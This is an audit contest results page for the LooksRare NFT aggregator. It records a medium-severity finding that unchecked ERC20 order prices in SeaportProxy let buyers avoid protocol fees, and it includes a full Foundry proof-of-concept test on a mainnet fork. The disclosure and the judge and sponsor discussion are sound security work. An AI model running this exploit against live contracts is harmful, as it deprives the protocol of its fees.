LooksRare Aggregator contest - ronnyx2017's results

An NFT aggregator protocol.

General Information

Platform: Code4rena

Start Date: 08/11/2022

Pot Size: $60,500 USDC

Total HM: 6

Participants: 72

Period: 5 days

Judge: Picodes

Total Solo HM: 2

Id: 178

League: ETH

LooksRare

Findings Distribution

Researcher Performance

Rank: 4/72

Findings: 1

Award: $4,875.78

🌟 Selected for report: 1

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: ronnyx2017

Also found by: 0x52

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
M-04

Awards

4875.7794 USDC - $4,875.78

External Links

Lines of code

https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/proxies/SeaportProxy.sol#L136-L164 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/proxies/SeaportProxy.sol#L232-L252

Vulnerability details

Impact

The order.price in the parameter tradeData is not used as the actual token amount sent to the seaport market and also not checked if those are equal when using the ERC20EnabledLooksRareAggregator for SeaportPorxy with ERC20 tokens.

So users can set the order.price to ZERO to avoid paying any fees for ERC20 orders.

Proof of Concept

Test file SeaportUSDCZeroPrice.t.sol, modified from test SeaportProxyERC721USDC.t.sol and annotate with # diff.

// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import {IERC20} from "../../contracts/interfaces/IERC20.sol"; import {IERC721} from "../../contracts/interfaces/IERC721.sol"; import {OwnableTwoSteps} from "../../contracts/OwnableTwoSteps.sol"; import {SeaportProxy} from "../../contracts/proxies/SeaportProxy.sol"; import {ERC20EnabledLooksRareAggregator} from "../../contracts/ERC20EnabledLooksRareAggregator.sol"; import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol"; import {IProxy} from "../../contracts/interfaces/IProxy.sol"; import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol"; import {BasicOrder, FeeData, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol"; import {TestHelpers} from "./TestHelpers.sol"; import {TestParameters} from "./TestParameters.sol"; import {SeaportProxyTestHelpers} from "./SeaportProxyTestHelpers.sol"; /** * @notice SeaportProxy ERC721 USDC orders with fees tests */ contract SeaportUSDCZeroPrice is TestParameters, TestHelpers, SeaportProxyTestHelpers { LooksRareAggregator private aggregator; ERC20EnabledLooksRareAggregator private erc20EnabledAggregator; SeaportProxy private seaportProxy; function setUp() public { vm.createSelectFork(vm.rpcUrl("mainnet"), 15_491_323); aggregator = new LooksRareAggregator(); erc20EnabledAggregator = new ERC20EnabledLooksRareAggregator(address(aggregator)); seaportProxy = new SeaportProxy(SEAPORT, address(aggregator)); aggregator.addFunction(address(seaportProxy), SeaportProxy.execute.selector); deal(USDC, _buyer, INITIAL_USDC_BALANCE); aggregator.approve(SEAPORT, USDC, type(uint256).max); aggregator.setFee(address(seaportProxy), 250, _protocolFeeRecipient); aggregator.setERC20EnabledLooksRareAggregator(address(erc20EnabledAggregator)); } function testExecuteWithPriceZero() public asPrankedUser(_buyer) { bool isAtomic = true; ILooksRareAggregator.TradeData[] memory tradeData = _generateTradeData(); uint256 totalPrice = // diff // not pay the fee for order 0 , so cut 250 bp from total price (tradeData[0].orders[0].price * (10250 - 250)) / // diff end 10000 + (tradeData[0].orders[1].price * 10250) / 10000; IERC20(USDC).approve(address(erc20EnabledAggregator), totalPrice); // diff // set order 0 price to ZERO tradeData[0].orders[0].price = 0; // diff end TokenTransfer[] memory tokenTransfers = new TokenTransfer[](1); tokenTransfers[0].currency = USDC; tokenTransfers[0].amount = totalPrice; erc20EnabledAggregator.execute(tokenTransfers, tradeData, _buyer, isAtomic); assertEq(IERC721(BAYC).balanceOf(_buyer), 2); assertEq(IERC721(BAYC).ownerOf(9948), _buyer); assertEq(IERC721(BAYC).ownerOf(8350), _buyer); assertEq(IERC20(USDC).balanceOf(_buyer), INITIAL_USDC_BALANCE - totalPrice); } function _generateTradeData() private view returns (ILooksRareAggregator.TradeData[] memory) { BasicOrder memory orderOne = validBAYCId9948Order(); BasicOrder memory orderTwo = validBAYCId8350Order(); BasicOrder[] memory orders = new BasicOrder[](2); orders[0] = orderOne; orders[1] = orderTwo; bytes[] memory ordersExtraData = new bytes[](2); { bytes memory orderOneExtraData = validBAYCId9948OrderExtraData(); bytes memory orderTwoExtraData = validBAYCId8350OrderExtraData(); ordersExtraData[0] = orderOneExtraData; ordersExtraData[1] = orderTwoExtraData; } bytes memory extraData = validMultipleItemsSameCollectionExtraData(); ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1); tradeData[0] = ILooksRareAggregator.TradeData({ proxy: address(seaportProxy), selector: SeaportProxy.execute.selector, value: 0, maxFeeBp: 250, orders: orders, ordersExtraData: ordersExtraData, extraData: extraData }); return tradeData; } }

run test:

forge test --match-test testExecuteWithPriceZero -vvvvv

Tools Used

foundry

Assert the order price is equal to the token amount of the seaport order when populating parameters.

#0 - c4-judge

2022-11-21T12:03:13Z

Picodes marked the issue as primary issue

#1 - c4-judge

2022-11-21T16:18:23Z

Picodes marked the issue as selected for report

#2 - 0xhiroshi

2022-11-23T15:44:53Z

@0xJurassicPunk looks like a real issue to me

#3 - c4-sponsor

2022-11-23T15:44:59Z

0xhiroshi marked the issue as sponsor confirmed

#4 - c4-sponsor

2022-11-23T17:49:26Z

0xhiroshi marked the issue as disagree with severity

#5 - 0xhiroshi

2022-11-23T17:51:38Z

The worst case is for us to not able to collect fees, and we can technically just deploy a new contract to fix this. Not sure if this is considered assets stolen/lost/compromise?

#6 - 0xhiroshi

2022-11-24T17:58:45Z

Update we are dropping fees completely.

#7 - c4-judge

2022-12-11T12:18:01Z

Picodes changed the severity to 2 (Med Risk)

#8 - Picodes

2022-12-11T12:19:05Z

Medium severity as no user funds are at risk, and the impact for the protocol would be minimal

#9 - c4-judge

2022-12-11T12:43:28Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter